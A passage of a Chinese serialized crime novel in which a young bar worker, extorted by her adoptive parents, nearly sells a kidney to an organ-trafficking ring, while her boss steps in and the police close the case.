“你叮嘱我们的人好好观察他一阵子,看看还能挖出什么来,”,江岩停顿了下,目光向着男人离开的方向,继而接着说:“根据他的描述,好好找找方天这个人,很可能不是这个名字,还有,跟我去躺北区。”江岩嘴上说着话,脑子里已经转了好几个弯,‘嘉海’,这个名字还真是阴魂不散啊,难不成跟这个案子也有关联。
秋原再见到姜海蓝时险些以为自己看花了眼,她只穿了一件单衣,在寒风中瑟瑟发抖,很别扭的瞄着她。
“你没穿外套吗?”
似是仔细斟酌一番,才决定说出口,姜海蓝抿抿嘴说:“外套落公交上了。”
“你是来找我的?”
姜海蓝又是别扭地憋出一个“嗯”字,秋原把自己的外套脱给她,“我里面穿得厚,前面再走一段路就到我住的地了。”
到了住的地方,秋原烧了热水,给她倒了一杯让她暖手。
“没有暖气?你住着不冷吗?”
秋原席地而坐,抱着一个长枕头放在膝盖上,摇着头说:“没那么冷,熬一熬冬天就过去了。”
姜海蓝喝了口水,但水烫得显然超乎她的预估,秋原忙倒了杯冷水,她喝下去一大口,这才好受一点。
“你不上课了吗?”
“期末了好多课停了。”
“你怎么知道我在哪儿住?”
“一个警察说的,我去警察局了,去了好几次才让我见着一个。”
秋原并不知她说的是江岩,还是乔警官。
“那个警察嘴挺臭的,不过看着官挺大,反正就是他给我说了你住这儿。”
这下秋原可以判断出她说的就是江岩了。
“你来找我是有什么事吧?”
姜海蓝四下环顾着房间,这点让秋原不太舒服,“我想问你些关于我爸的事,今天他生日。”
说完,她定下目光微笑着看她。
“今天你爸爸生日啊。”
“对,一年的最后一天,明天就是元旦了。”
“你想问我什么?”
“你一个人吗?你家里人呢?”姜海蓝也是个随性想说什么就说什么的人。
此刻的姜海蓝突然让她想起了沈榕,耐着性子说:“我一个人,以前的家回不去了,没有家。”
出乎她意料的是,姜海蓝对她这句话并没有表现出丝毫的同情或是怜悯,甚至是心不在焉地“哦”了一声。
“我爸给我留下什么东西了?”
秋原对这句话很是不解,“什么意思?东西应该是在你妈妈那里。”
她吹了吹杯子里的水,小抿了一口,许是故意的,咽得很大声,“她不会给我的。那个警察让我找你。”
秋原更不明白了,为何江岩不直接跟她说,反而找上了她,“一件裙子,公主裙?粉色的,很好看。”
过了好久,她才听得姜海蓝“哦”了一声。
“他出来后,过得很惨吧?”这句话说得很慢,一字一句。
“可以这么说,后来工地上的人知道了当年的事,对他态度很差。他身体好像也不太好,我见过他几次去药店。”
两人就这么不冷不淡地一句一句接下去,直到杯里的水凉了,姜海蓝还不自知地捧在手心里。
“我去趟厕所。”秋原起身去了厕所,姜海蓝一个人坐着愣神。
重重地敲门声把姜海蓝吓了一跳,手里的杯子险些掉在地上,她把杯子放在小桌上,起身去开门。
“谁在敲门?”秋原从厕所的同时,姜海蓝已经打开了门,沈母挤了进来,瞅准秋原就是一通说教。
“你这孩子,跟酒吧窜通好了不让我进是吧,行别以为我找不着你住哪儿,有钱自己住没钱你给你爹娘一分是吧?这正好你朋友在是吧,我就让你朋友看看你是个多冷血的人,自己爹娘的死活都不顾,”
“这位大妈?有什么话好好说,就我知道的她都不是个冷血的人。”
“哟嗬我就知道跟她这种人混在一起的能是什么好货色啊?我跟你说我就在这儿不走了,你什么时候拿钱我什么时候走人!”说着健步如飞地冲到小沙发上坐下。
秋原和姜海蓝面面相觑,姜海蓝就想冲上去理论一番,被秋原拦住,摇着头说:“没用的,你先回吧,改天再说。”
“我不走,她什么时候走了我再走。”
秋原走到
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沙发前,坐在高凳子上,心平气和地说:“我真的没有钱。”
“你没钱我才不信,酒吧是个多赚钱的地儿啊,你一个女孩子在那种地方能拿不少钱吧?我倒也不嫌弃你的钱干不干净,这不是火烧眉毛了吗!”
姜海蓝听闻这话忍不住了,秋原拉着她的胳膊,转而对沈母说:“我拿的每一分钱都是干干净净的。”
“哟你这人,我本来还就指望你随便能出点救急的钱,但我现在是看出来的,你这么个没良心的东西,小时候谁伺候你一把屎一把尿地供着你啊,长大了翅膀硬了是吧?那我就跟你明说,三十万,一分不少,不然我看你工作不想要,住也别想住得踏实!”
“哎你讲点理行不?有你这么倚老卖老的吗?”
“我倚老卖老?小姑娘看你皮囊不错秉性怎么这么差劲?我养了她这么多年,我花了多少钱?就算是现在想撇清干系,也得把之前的钱都给我吐出来。”沈母越说越激动,指着两人眼看就要戳到她们脸上。
秋原拉着姜海蓝头也不回地出了门,沈母跟在其后骂骂咧咧丝毫不觉得累,秋原带上了门两人跑了起来。
“哎这也不是办法啊?”姜海蓝双手撑在膝盖上,气喘吁吁。
“讲不了理的。”
“那你打算怎么办?”
秋原回顾了一圈街上,“换个住的地方,不行,就把工作也换了,大不了,离开这儿。”
姜海蓝皱着眉,显然对她这番话极为不满。
“走,我请你喝奶茶去。”姜海蓝说着找准了路边一家奶茶店。
两人面对面坐着,秋原喝了一口奶茶,“这么甜啊!”
“你不会没喝过奶茶吧?”
秋原笑着说:“还真没有,这么甜,康静山肯定喜欢喝。”
“谁?”
“噢我老板,很喜欢甜食。”
两人静坐了一会儿,姜海蓝不确定地问:“你不会给她钱吧?”
秋原看着窗外的街景,摇了摇头,咽下一口奶茶才说:“我是真没钱,你看我想有几十万的人吗?”
姜海蓝仔细地打量了一番,看她这么一本正经的模样,终于忍不住笑了,“嗯,确实不像。”
大概是双方都许久未曾跟谁真正地畅聊过,这一面竟有些志趣相投的意思。
两人聊着些琐事,像这个年纪的正常女孩子们一样逛街,听闻秋原从未逛过街,姜海蓝不免对她又是一阵另眼相看。
跨年夜,世纪广场上有烟花表演,来来往往都是亲人朋友恋人爱人,只她们俩这才第几次见面,肩并肩绕过人群走得缓慢。
干枯裸露的枝丫上装饰着彩灯,不知哪里放飞的孔明灯在夜空中散发出淡淡的光星。
新年即将到来,秋原跟着人群一起呼喊倒计时的数字,那是她从未感受过的力量,活生生地活着的见证,她笑了,面对着同样笑容灿烂的姜海蓝,两人不约而同地张开了双臂,像周围很多人一样,拥抱在一起。
兴致来了,两人一起去网吧通宵,秋原是真不会打游戏,姜海蓝教她几遍带她玩了几把后也彻底死心,放她自己一边去看电影。
天亮了,清冷的早晨,以夜未眠从网吧里出来,秋原感觉自己轻飘飘的,街上的店铺行人依旧,就像昨夜的狂欢只是她们二人的幻梦,天亮了觉醒了梦碎了,一切又该照旧。
当秋原回家看到一屋子的狼籍时,丝毫没有惊讶,这样的境况生活带给她多次,多到她已麻木坦然地接受,多到再遇到时只是默默地,将一切规整好。
她蜷缩在地上的小毯子里,像是只受冻的猫,独自舔舐伤口,等待再一次黑夜的降临。
24.知了的尸体 08
新一年才过了四天,沈母再次到酒吧闹事,岳楼带着几个服务员愣是没让她进到店内,但沈母硬是在店外耗了大半夜,秋原整晚的工作都心神不宁,也不知会对店里的生意造成多大的影响。
她想是时候离开了,在陆川面前辞职的话还没说出口,谁知陆川便自顾自地下了指令,“给你休几天假,什么时候事情解决了什么时候回来上班,休假工资照付。”
秋原愣在原地,陆川已经上了楼。
“有什么需要,直接跟我说。”一旁的耿山南微笑着说。
“你又干什么蠢事了?”麦子吊儿郎当地晃悠过来,试图从耿山南眼皮子底下讨杯酒喝,当然被他义正言辞地拒绝了。
秋原带着微笑离开了,是发自内心的微笑。
秋原打包收拾自己的物件,本来时是只身一人,过了近两年的时光竟平添了这么些个零碎东西,衣服,生活用品,琐碎得不能再琐碎了。
收拾到没力气,躺在冰凉的地上,她忍不住思索,自己究竟为何要离开,两年前她选择留在这里是为了什么,虚晃了两年的光阴,就要这般狼狈地卷铺盖走人,“狼狈”已经成了她人生的缩影。
思维陷入无边的混沌之中,不知何时她已浑然入睡,意识再回来时是被冻醒了,她侧过身打了个喷嚏。
砖头的时候看到桌上的瓷娃娃,还是那日同姜海蓝一起逛街遇见,姜海蓝送给她的,那是她真正意义上收到的第一份礼物,她做起来够到手里,双手拿着细细端详,许是着凉缘故,后脑勺生疼,嗓子也倒刺剌着般。
突然,无比安静的房子里响起一阵细微的敲门声,秋原险些以为自己听错了,仔细听了好一会儿才确认真的是在敲自己的房门。
她轻手轻脚地靠近大门,不论是谁无人应答,便会死了心回去了吧,她这么想着,就听到了熟悉的声音。
“小泠我知道你在,是爸爸来了,就我一个人,你能把门开开,让我说几句话吗?”
秋原心里咯噔一下,刺痛围绕着心口,她是有爸爸的人吗?她靠着门呆呆地站立着,最终,还是打开了门。
映入眼帘的沈父,着实让秋原意外,他脸上有几处明显的外伤,整个人看起来格外萎靡。尤其是笑起来,愈发让人觉得萧条,勉强的笑容很是难看。
“小泠啊,爸爸这次来呢,是真的没办法了,再不拿钱他们要了我和你妈的老命啊!”本挤满了笑的脸,逐渐化为诺大的悲痛,眼泪从他的眼眶溢出,作势要跪下,“爸爸我是真活不下去了。”
秋原本抬起的手,无力地垂下,沈父跪在门槛上,老泪纵横,抬头泪眼婆娑地望着她。
明明,站着俯视的人是秋原,但她却感到从未有过的卑微和屈辱。
“是爸爸混蛋,没搞清楚就跟人家签了高利贷,他们那些真不是人啊!还不上钱是往死里整啊!”说着拉起右胳膊的袖子,触目惊心的刀痕,血凝固在伤口上,险些露了白骨。
秋原突然感觉那些伤口砍在自己身上般,疼得她呼吸不上来了,她呲着牙说:“欠了多少?”
沈父如获大赦般惊喜,往前挪了几寸抓着秋原的手,“二十七万!”
秋原抽出自己的手,从打包的行李中抽出来昨日才取的现金,走到门口,递给他。
“这是三万,”顿了一下,她还是说出了口,“剩下的二十四万,我来想办法。”
沈父噌地抽过钱袋子,紧紧地攥在双手中,高兴得说不出话来,“爸爸谢谢你!”
他踉跄着起身,堆着满脸笑意,毕恭毕敬地问道:“剩下的,什么时候……不是爸爸催得紧啊,是那些人太混蛋啊!”
秋原别过脸不去看他,“尽快。”
“好,好,爸爸等你消息!”说完,看她不想看自己,自找台阶开溜,“爸爸这回来得急,什么都没给你,改天到家里,让你妈妈给你做些爱吃的菜!”
等沈父离开了,秋原关上门靠在门上,无力地滑倒地面上,他都没说让她回去,他没说,也没问,什么都问,这么些年过得怎么样,他们一概不关心。
可不知为何,竟然记起儿时春节的街上,注意到她满是期待的目光,他买了一个红色的气球,递给她那一刹那的场景,她竟觉得如此开心,满心欢喜胜过莫大的恩赐,但后来啊,她一个不留神,气球飞走了,再也寻不着了。
眼泪模糊了脑海中的画面,她也是女儿,心肝宝贝,掌上明珠,她再也都不可能得到了。
秋原从垃圾桶里翻出来一张不久前被她丢进去的名片,想到不久前夜晚的深巷,心里蛮是迟疑,但又想起沈父跪在门口的画面,名片被捏在手心中,成了一团。
方天的肩膀被拍了一下,他喝了口酒,转身回头看见似曾见过的人。
“哟,这谁啊?”
两人立在街头,秋原跟他保持一定距离,谨慎地盯着那人。
“你就是方天?”
“知道还问!我没记错,你是康静山的人,找我啥事?怎么就你一个人?陆川那混蛋呢?”
“我要钱。”
“什么?”方天显然以为自己耳朵除了毛病。
秋原正巧出门,撞见了姜海蓝上楼。
“你这是要去哪儿?”见她行色匆匆,姜海蓝不免感到疑惑。
“我出去一段时间。”
“去哪儿?你是要躲你父母?你打算去哪儿躲?”
秋原并无让她进门的意思,反而顺势关上了门,“我回来再跟你说。”
姜海蓝看着她匆匆下了楼,光留她一人立在门口,满是不解。
这年新春除夕夜,秋原抱膝坐在床板上,陌生的房子也已熟悉于心,少有的物件冰冷冷地伫立着,孕育着黑暗,隐约能听见些许的爆竹声,感觉离自己好遥远,像是属于不同的世界,遥远得触碰不得。
很快就都会结束,她在心里这么告诉着自己,一如往常,那些吞没她令她恐惧的,早晚都会过去的。
警局二楼的办
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公室还亮着灯,江岩从桌案前抽身,站在窗前,点缀的灯光在黑暗中照亮了这一片夜空,灰蒙蒙的白,爆竹声此起彼伏,不远处燃放烟花,转瞬即逝的光火在他深邃的眼底失了色彩。
听闻身后的动静,江岩从玻璃上的反光看到了乔树,“不是让你回去了吗?”
乔树放下手里的资料,站到他身旁望着还在继续的烟火,“这案子不了,怎么可能过得好这个年。”
江岩没接话,乔树瞥了一眼他,看出他的不对劲,“高副局的话你别太在意,这案子本就棘手,方天这人不是一般的狡猾,高副局也是……”
“我知道。”
“你是他一手带起来的,他的脾气你不是不知道。张队也是好意……”
“哼……”江岩冷笑一声,想到下午开会时高副局对这个案子的进度极为不满,张队在一旁煽风点火幸灾乐祸的嘴脸,不由得来气。
这时,办公室门被推开了,一个身材高挑的男子风风火火地闯了进来,“哟,我就说你肯定还在,某人这个年怕是过不好了。”
“张队。”乔树客气地称呼了一声,心想来得真不是时候。
好在江岩还算理智,冷笑着说:“哟,张队不好好回家带孩子喂奶,来我这儿干什么,怕不是弟媳又把某人给轰出来了?”
张队保持着笑容显然对他这话并无在意,江岩这才发现他是喝了酒的,不由得皱了眉,“你要耍酒疯来得可不是地方。”
“不不不,”张队笑容满面摆着手,说着搂着乔树的肩膀,“来跟你借个人,送我回家。”
乔树看着江岩等他发话,江岩确实不想见着眼前这人,抬手示意乔树去送他。
乔树坐在驾驶座上,一路上张队都还算安静,不知怎么说起江岩便来了兴致,不得不佩服乔树能在他手底下跟这么久,开始数落起江岩的各种毛病。
比起乔树,张队跟江岩认识的时间更久,但江岩臭脾气总看不惯张队,后来他才知道他们是同一个警校先后毕业的,想来相处得也不会是多和谐。
车停住,张队不知从哪里抽出来一卷卷起来的纸张,扔在乔树腿上,“这个,给江岩。”
说着开门下了车,乔树忙下车去扶他,张队抓着他的胳膊,“赶紧回去,那臭小子脾气上来了不知什么德行,这东西别说我给的。”
等张队上了楼,乔树才摊开张队给的卷纸,不知从哪里整来的,本市过去几年发生的器官纠纷,不知为何最后都不了了之,小刘之前翻找记录也没找到这么全的。
张队一进门,他刚学会走路的女儿就咿呀咿呀地扑向他的怀里,奶声奶气地喊“爸爸爸爸。”
“怎么才回来?又喝酒了?”
张队抱起女儿,恨恨地亲了一口女儿,捏着她肉嘟嘟的小脸蛋,“想爸爸没?想爸爸没?”
女儿咯吱咯吱地笑不停。
“没喝多少。”搂着妻子的肩,逗着怀里的女儿。
这一家才算团圆。
25.知了的尸体 09
饭桌上,柯璃月父母又一次问起男朋友的事,她尽可能地安抚父母,嘴上说他工作忙已经联系过了,但心里还是不安,下午通过电话,他告诉她要加班,她就听得他声音不太对劲,可他工作上的事从不跟她说,她也无从得知。
吃过晚饭,父母坐在沙发上看电视,柯璃月趁他们不注意溜回房里,悄悄关上了门,思量之下还是按下了那个号码。
响了好久,就在她要气馁时电话被接起来,“喂哪位?”
“是我。”
“月儿?”他的声音一下子柔了下来,“怎么了?有事吗?”
“没事没事,我就是,想你了。”她感觉电话那头的他笑了,这一声让她放心不少。
“我也想你,代我跟你父母道个歉,不能去看他们了。”
“没事你不要在意,我会跟他们说的,倒是你,工作不要太辛苦,饭一定要吃……”
“江队,这是张队……”
“什么?”
柯璃月听着电话那头的声音,“我没事了,你忙吧,注意休息。”
“好我随后打给你。你刚说……”
电话挂掉了,柯璃月望了眼窗外,烟花是挺美的,可怕是很长时间不能见到他了。
“张队给的,他不让我跟你说,我看是这几年市里关于器官买卖的一些案卷。”
此刻,橘子酒吧也是灯火通明,二楼的大餐桌上一片狼藉,陆川和耿山南忙着收拾,麦子说是要搭把手,刚吃完就一溜烟不见了人。
康静山躺在摇椅上,陆川敲门进来,月色银白,照在他身上,肃穆而庄重,使他一时不忍打破这片静谧。
“怎么了?”他的声音有气无力的。
“你只吃了甜食,要不我让山南哥做点别的?”
“不用。”
他这话说得轻便,但在陆川听来却是难以反驳的冰冷,他只得放下这件事,“秋原已经失踪一个多月了,我们的人还没找到她。”
“沈家呢?”
“沈家倒是毫无动静,也再没去找过秋原。”
“你想说什么?”
“之前华明锋的事,秋原表现得很关心,我怀疑……”
“华明锋最近出现了吗?”
“自从上次警告过他,再没来店里,但他几次在这边出现都带着几个人,像是特意招摇。”
“查一查他的窝,捅给条子。”
“华明锋上面的人是谁我们还没查清楚,这么做……”
“不用查了,照做就是了。”
陆川知道他谁也不怕,可这三番两次地把这些人通到条子面前,怕是不少人对此怀恨在心,但此刻他也只能说“是。”
近四个月的多方调查,江岩等人摸清楚了嫌疑人名叫华明锋,化名方天。一队人员苦战数月,从过往案史中剥丝抽茧,基本上还原出华明锋这几年的犯罪路径,锁定他目前的活动范围和可疑行经。
“……华明锋以手下一人张江的名义,在阳河小区一区租了两层房屋,基本可以断定这租来的两层房屋用于圈养供体,阳河小区一区房屋建造已久,人流量大且混杂,是藏身的好地方。而与华明锋一伙进行配合的医院,我们查到几家有可能的私人开办的医院,还在秘密调查中,一有进展,立刻向你汇报。”
小刘汇报完此次案件的基本情况,屏着呼吸观察江岩反应,好在他集中注意于眼前的资料,没有针对她的汇报点评什么,一队在座的人都看得出来江岩最近不好惹,领导前两天还劈头盖脸一顿骂,谁人也不敢这个点踩江队雷。
“乔树你那边,线人有给什么新消息没。”
“华明锋最近出现频繁,很有可能又有活动。还有一点,你看这是线人提供的照片。”
“秋原?”江岩皱着眉仔细端量,照片上秋原跟在华明锋身侧,“她怎么回事?”
“我去橘子酒吧和她住的地方打探了一下,她有一段时间没有出现了。”
江岩盯着照片,像是要把照片上的人看透,“和她有接触的人,再去细细排查一遍,搞清楚她怎么会跟华明锋有联系。”
“是。”
“最近上面盯得紧,大家都打起精神来,收网的时候快到了,这案子不能拖下去了。”
“是。”
小刘暗自苦恼,这有多长时间没有按时下班了,看样子又要加班了。
“这一段大家也辛苦,今天就早点回去,明天开始,这案子我不允许有什么问题。”
“是。”
小刘绷着的笑脸被江岩看个正着,灰溜溜地低下了头。
来人通知找到匹配受体,一时间秋原不知是喜是悲,就像等着上天能给一个指示,能让她有勇气后退,可还是没等到,后路已经没了。
手术前,华明锋带她去见了病人,是一个小伙子,他的父母看着是朴实的人,见到她险些跪了下来,病床上的小伙子很瘦,勉强挤出一个笑容。
秋原仓皇而逃。
楼梯间,华明锋找到她,“怎么?害怕了?你要是害怕了退出也行,不过钱你是拿不到了,这一阵子的伙食费住宿费也得你出,而且刚那个小伙子,好不容易找到肾源,你不捐了,他可能就活不到下个月了。”
过了良久,坐在台阶上的秋原缓缓抬起头,恶恨恨地瞪着他,“说好的钱,一分都不能少,我跟你的谈话,都被我录音了,现在在一个安全的地方,要是我从手术台上下不来,或是给不到钱,我们一起玩完。”
华明锋变了脸皮,揪着她的头发,恶狠狠地说:“臭丫头别不识好歹,这事成了你我都痛快,不成,你也活不到出去了。”
他低声对手下一个人说:“去她房间,还有她住的地方,好好找找,有什么录音文件,全都给我带回来。”
秋原躺在手术台上,穿着白色衣服戴着口罩的人在眼前晃,心里格外不安,慢慢地失去了意识。
“康哥,事已经办妥了,你说的人我给你带回来了,你要解决兄弟我直接代劳,不需要您出手。”精瘦的男人毕恭毕敬地说。
康静山摆摆手,“这件事谢谢你。”
“您说哪里的话,您的事就是我的事。”
两人说着往门口走,“康哥您别嫌我话多,之前钱域的事就有老多人对您有意见了,今这事,我也不知道您是啥意思,不过要我说啊您最好不要出面了,他们找您把柄还来不及呢。”
“没事,坏我规矩的人,我自会处理。今儿这事,安全起见就不要跟其他人提起了。”
“这您放心,我办事您还用担心?那行事
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已办妥,我就先撤了,您有事再招呼我。”
康静山示意陆川送他。
地上的人绑着手脚,双眼蒙着,慢慢恢复了意识,听得浅浅的说话声,地上冰冷,有着长年不见阳光的阴郁,虽已步入早春,但她只穿着一件薄衣,贴在这地面上,全身都要被冻僵了。
意识到自己被绑着,她的神经一下子紧崩起来,缓缓呼吸让自己冷静下来,她从裤兜里摸出一之前备好的小刀片,割开手腕上的绑着的布。好在只是一般的布料。
话音停了,脚步声走远,她的动作停了下来,不知是不是所有人都走了,听得只一人的脚步声走近,她握紧了刀片。
那人抓着她的肩膀的同时,她翻起身从那人背后钳制住他,刀片抵在他脖子处,低吼了句“别动”,另只手快速揭开眼睛上蒙着的布。
出口处刺眼的光一时让她难以适应,头昏昏沉沉看不清周围,“把我脚上的绳子解开!”
那人照办了。
一解开脚上的绳子,她就在他背后钳制住他的双手,从地上起来。
可能起身有些急促,站起来的她有些摇晃,此时眼睛已经上已经适应了这个环境。
她望向出口,出现的人影让她心里慌了,手里的刀片不由得施了力。
“秋原?你干什么呢?”
是陆川的声音?人影走近,她这才看清那人果然是陆川,声音都有些喜出望外,“陆川?”
她这才看了看被自己钳制着的人,惊吓得松了手,忙退了两步,“啊,对,对不起。”
康静山眯着眼摸了摸脖子,神情很是严肃。
“你没事吧?”陆川走到康静山身边旁,他没回答,盯着颤巍巍的秋原,毫无感情色彩地说道:“我怎么要求的?”
秋原知道他说的是华明锋的事,“对不起……”
“你找他干嘛?”
“我,我需要钱。”
“你要钱做什么?”
秋原抿了抿嘴,一直不敢直视他的目光,“我,”她本想说‘我父母’,可怎么也说不出,“我养父母,他们借了高利贷,还不起……”
“然后呢?然后你就好心地卖肾还钱?”
秋原很少能见到他生气,但感觉此时他真的生气了,坏他规矩的人都没有好下场,“对不起。”
“除了这一句,不能说点别的?”
秋原一时哑语,仔细想了想,说:“我想还了那些钱,就不欠他们了。”
在车上,秋原不明白他是要带她去哪儿,陆川开着车,也是一句话不说,只随手开了暖风,安静的车内环境让秋原愈加不安。
车停在小区楼下,秋原下了车,她没来过这里,但已猜出一二了。
康静山下了车,在车门口站着,“上面401,沈家当年的拆迁补贴房,这栋房子市值近五十万。连二十万的高利贷还不起,这栋房还舍不得买,让你去卖肾换几万块钱,钱再不够,你还想怎么贴?抢劫?卖身?”
秋原听完这些话感到无比的震惊,紧接着来的是羞愧,她胆战心惊地过了两个多月,险些把自己的肾脏卖出去,却是为了这样的人。她失了神一般,缓缓迈开脚步。
陆川下了车,想拦着她,看到康静山的脸色,还是乖乖坐回了车里。
26.知了的尸体 10
沈父倒了杯酒,坐在沙发上打开了电视,沈母端着洗好的水果,挤在沈父身旁,“哎这么长时间没动静,你不赶紧去催催?要不那丫头忘了这事怎么办?”
沈父抿了小口酒,极为满足地叹口气,“哎你别心急,你去她上班地儿和她住的地儿捣鼓那么几次,再加上我这么一煽情,保准跑不了,那不那几万块钱不就拿回来了嘛?”
重重的敲门声,沈母思索着他这几句话,起身去开门,边挤着眼说道:“我还是不放心。”
打开门,门外站着怒气冲冲的秋原,沈母先是诧异,“你怎么找来了?”
转而一想,是送钱来了?态度立刻大转变,“啊哟过年也没找着你人咱们一家人好好过个年,家里也都被高利贷的事忙得焦头烂额,还没顾上请你来家里坐坐,快快进来,孩儿她爸,泠儿来了。”
秋原没管她继续说着什么,越过她冲了进来,环视着四周,房子很大,沈父刚匆匆藏起酒和果盘,从沙发上起身。
“这房子,挺值钱啊?”看起来富丽堂皇的成套家具,与之格格不入的是墙上挂着的财神,不知哪里淘来的许多塑料瓶子和直板,堆在客厅的一角。
沈母看了一眼沈父,摆做一幅伤心欲绝的模样,小跑过来解释道:“这房子啊,也抵出去了。”
“哦是吗,原来你们说的没一句真话。”不知为何她无条件地相信康静山的话,他是没理由骗她的吧,“这房子要没了,你们岂会过得如此悠闲?”
沈母随即表现出当众被揭穿的跳脚,“哎怎么说话呢,这房子啊,咱们家最好的东西了,你说我和你爸一辈子了,什么都给不了榕儿,这房子,可是要留给榕儿的。”
沈父瞪了沈母一眼,“怎么说话呢!泠儿啊,别听你妈的,这房子,是你和你妹妹的,借的钱再怎么多,也不能动这房子呐!要不然,爸妈对不起你和榕儿啊!”
秋原冷笑一声,“对不起我?怕是这房子根本没我什么事吧?我连你们女儿都不是,不是吗?名义上的沈泠早就死河里了,谁知道你们拿到钱后打算对我做什么?卷着钱死不认账?谁也证明不了我们什么关系,确实想得周到啊。”
她说得冷静,一字一句都真实得不能再真实了,也是她不得不认清的现实。
老两口这才发觉这孩子已经骗不了了,“你这孩子,我们辛辛苦苦把你拉扯那么大,花了多少钱,费了多少心思,你还得起嘛?我们跟你要钱,那是天经地义!是你本该还的!长大了翅膀硬了?不想认我们了?那好把这么多年养你的钱吐出来,你想回来都不让你回来!”
秋原哈哈大笑,连声音都有些变了,“终于不想演了?假惺惺对我好都是屁话,这么多年过去了还是想榨干我才肯罢休是吗?”
“臭丫头怎么说话呢!”沈母气急,甚至想动手,被沈父拦住了。
“呵,怎么说话?还是要谢谢你教的。之前给你们的四万块钱,我不要了,之后别再出现我面前,恐怕你们还不知道,当年我失足掉进河里,是沈榕推的。”
听到这话,沈父沈母变了脸色,按照她的猜想沈榕果然没把这事说给他们,于是她接着说:“要是不想沈榕坐牢,之后再没有沈泠这个人!”
看着他们错愕的神情,秋原本该感到痛快的,可心里却是诺大的空洞,有无形而巨大的力量,想拖着她往下拽,一下子被抽空了,木讷地转身,缓缓离开了。
一步一步颤巍巍地下了楼,车还在楼下停着,江岩站在车前等待着,秋原想挤出一个微笑,可对此时的她而言太难了。
坐上车,倔强地望着窗外,毫无情感的街景变换着,不知何时眼眶湿润了,她擦了一遍又一遍,无声中抹去那些眼泪。
她不是不想回“家”,一个真正的家,但她不敢,要是不回去的话,那个“家”似乎就还在那里,即使冰冷,至少有个窝。可她意识深处再明白不过了,“回去”意味着什么,会面对什么。曾生活在一个屋檐下的“亲人”,却带给她活生生撕裂的痛,把早已掩埋在内心深处的亲情,把对家的憧憬和依恋,硬生生从骨头里剔出来。
生活在一起的也可能不是家人,同住一个房子里的也可能处心积虑设计着你,你以为最后的依靠,却把你推向万劫不复的深渊。
这不是臆想,而是活生生的教训,是用沈泠的死换来的教训,而她傻傻地还一厢情愿,此时突然感觉到了可笑,委屈自己成全
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别人的都是傻子。
陆川把抽纸递给她,她接过几张纸蒙在脸上,很快就湿透了。
车停在秋原租处的楼下,她下了车,站在车门前,诚恳地弯腰鞠躬,红着脸哑着嗓音说:“谢谢你。”
“再给你一周假。”
秋原听到这话诧异地望着康静山,他没看她,她一时间没绷住,泣不成声地说:“谢谢!谢谢。”
她感谢的,不是一周的假,而是有人在她受难时肯替她考虑那么一瞬,就那一句话,就足以让她卸下盔甲。
江岩从会上抽了身,叨叨叨的话撞得他头疼,迎面走来个让他更头疼的人,“恭喜啊,这案子总算是了了。”
“借您吉言。”江岩饶过他走了,张队还拍了拍他的肩膀。
几周的走访排查,他们终于摸出华明锋的行踪,在市北区一带活动频繁,这人狡猾得很,几次都让江岩的人扑了个空,好在确定了他的长相和活动范围,调取附近的监控,一一进行排查,终于筛选出几个可能的窝点。
不过这条利益链牵扯甚广,江岩顶着很大的压力,借助高副局,跟临近省市的警察合作,这才把整个利益团伙抽出来,一时间,器官买卖的舆论在几个省市里引起轩然大波。
江岩回到办公桌前,耳根子这才清静了下来,他翻看着手里的案卷,最后确定了华明锋这伙人合作的医院,是家私人医院,正规执照正规经营,表面上看不出什么名堂,江岩也没有十足把握,生怕惊扰了这伙人,但不知何人,有意把这个地方暴露出来,这才使最后的抓捕十分顺利。
难道是犯罪团伙的内部斗争?那得利的又是谁呢?还有这个人,他翻出来一张照片,和华明锋走在一起的,是秋原,她怎么会跟华明锋有牵扯?难道华明锋背后还有橘子酒吧的人?
正当他百思不得其解时,乔树走到办公桌前,“华明锋曾出现在橘子酒吧,但跟酒吧的人闹得不是很愉快。”
“秋原呢?她跟华明锋是怎么回事?”
“她已经两个多月没去酒吧上班了,她本来就一个人住,附近的人也不知道她的行踪。”
江岩起身,拿了外套,“我去趟秋原那儿,有事电话我。”
27.知了的尸体 11
秋原睡了好久,白天黑夜不分,大脑昏昏沉沉的,睡梦中她做了很多很长的梦,那些梦像海草一样抓着她的脚不让她逃脱,她又坠入那段什么都没有的日子,一场火烧光了所有,包括那个无助的她。
被人拥挤着出了站台,秋原加快脚步才跟上前面的人,风灌了一身,整个人一阵哆嗦。
突然倒在眼前的老人挡住了去路,老人哀嚎着不起身,一时间被一群人围观,一中等身高的男人义愤填膺地“主持”正义。
她求助似的望着那人,几米开外他回头看着她,眼神有些冷漠。
“还不带着老人去看看!你家闺女撞人啦!”
她几乎是本能地跟他撇清关系,“我不认识那人,你怎么知道我跟谁一起的?”
话虽这么说,但她望着他眼神,充满了不舍和祈求,心底还是希望他不要走,帮帮她。
后来,他毫无迟疑地走了。
好在警察很快赶来,解决了这场“横祸”。
秋原摆脱了警察,在满是人的路上逆行,陌生的面孔一个接一个,令她惶恐地无处躲避,冲出人流跑到街上,大口喘着粗气,白色的气体在她眼前消散。想起到下车时广播的站名,她突然笑了,笑得悲凉又凄惨,没想到又回到了这个地方。
穿着单衣走在街上,清洁工清扫落叶的扫帚刮到脚上示意她挪个地儿,她东倒西歪急忙跳着走开,不小心撞到一个穿着西装的男人,男人咒骂了一句,嫌弃地拍了拍碰到的袖子,像是沾了令人作呕的东西。
她在街上四处游荡,身上仅有的钱也在火车上偷偷塞在了那个男人的行李箱里,现在到了身无分五的地步。
开始的几天她去各种店里求份工作,她没有证件,店主看到她的模样都无情地把她赶出店里,夜晚只能在小巷挡风的角落里蜷缩。
没有水喝的第三天,她捡起了一小孩子扔在路边的饮料瓶,大口大口喝完了剩下的。
第五天夜里,又饿又冷的她迈着虚弱的步伐,从垃圾桶里捡出了吃剩的面包,咬了一口,还没有咽下去,就晕倒在冰冷的地上。
梦里她是被温暖包围着的,嘴角都忍不住上扬,不知怎地突然意识到这温暖的虚假,一下子惊醒过来,刺眼的白光令她眩晕,看不清眼前的事物。
一个人影从白光中靠近,“你醒了?”
这声音含糊不清,像是含口水在说话,声音粗得似是男声。
等她慢慢接受了光亮,这才看清眼前的环境,她栖身于离地不到一尺的板子上,地上靠墙的柜子上堆满了衣服,她身上也加盖了几件厚一点的外套。
“喝点粥。”那人端着碗靠近,秋原看到她的脸的一刹那,险些叫出声。
那人的五官扭曲,尤其是左半张脸,坑坑洼洼枯树皮般的皮肤蔓延到脖子,手上的皮肤也是如此,她的手没有手指,两只手肉团一样抵着碗,不知这样生活了多久,拿着的碗是格外稳当。
秋原惊恐地后退,那个人看到她的反应便不再靠近,只端着碗的手凑了凑。
